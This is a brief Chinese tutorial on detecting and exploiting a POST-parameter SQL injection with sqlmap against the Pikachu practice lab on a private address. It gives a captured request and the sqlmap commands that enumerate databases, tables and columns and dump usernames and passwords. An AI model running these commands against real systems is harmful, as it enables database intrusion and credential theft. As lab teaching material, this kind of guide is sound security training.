Sqlmap -- POST注入

想归想，难过归难过，若你岁岁平安，我可生生不见。。。

---- 网易云热评

一、检测是否存在注入

1、通过BurpSuite抓包获取提交的数据

2、sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2"

--data指定提交的数据

运行结果：id值存在注入，可能是布尔盲注、报错注入、时间盲注、联合注入

[14:37:09] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:

六、其他检测POST注入方法

1、BurpSuite抓包，将数据包内容保存到1.txt

POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1

Host: 192.168.139.129

Content-Length: 30

Cache-Control: max-age=0

Cookie: PHPSESSID=6t4bb3nb4rarqod4j073m038h4

Connection: close

id=1&submit=%E6%9F%A5%E8%AF%A2

2、获取数据库名称

sqlmap -r /home/aiyou/桌面/1.txt --dbs

-r：指定数据包的绝对路径

3、获取表名

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu --tables

4、获取字段名

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu -T users --columns

5、获取字段内容

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu -T users --dump "username,password"
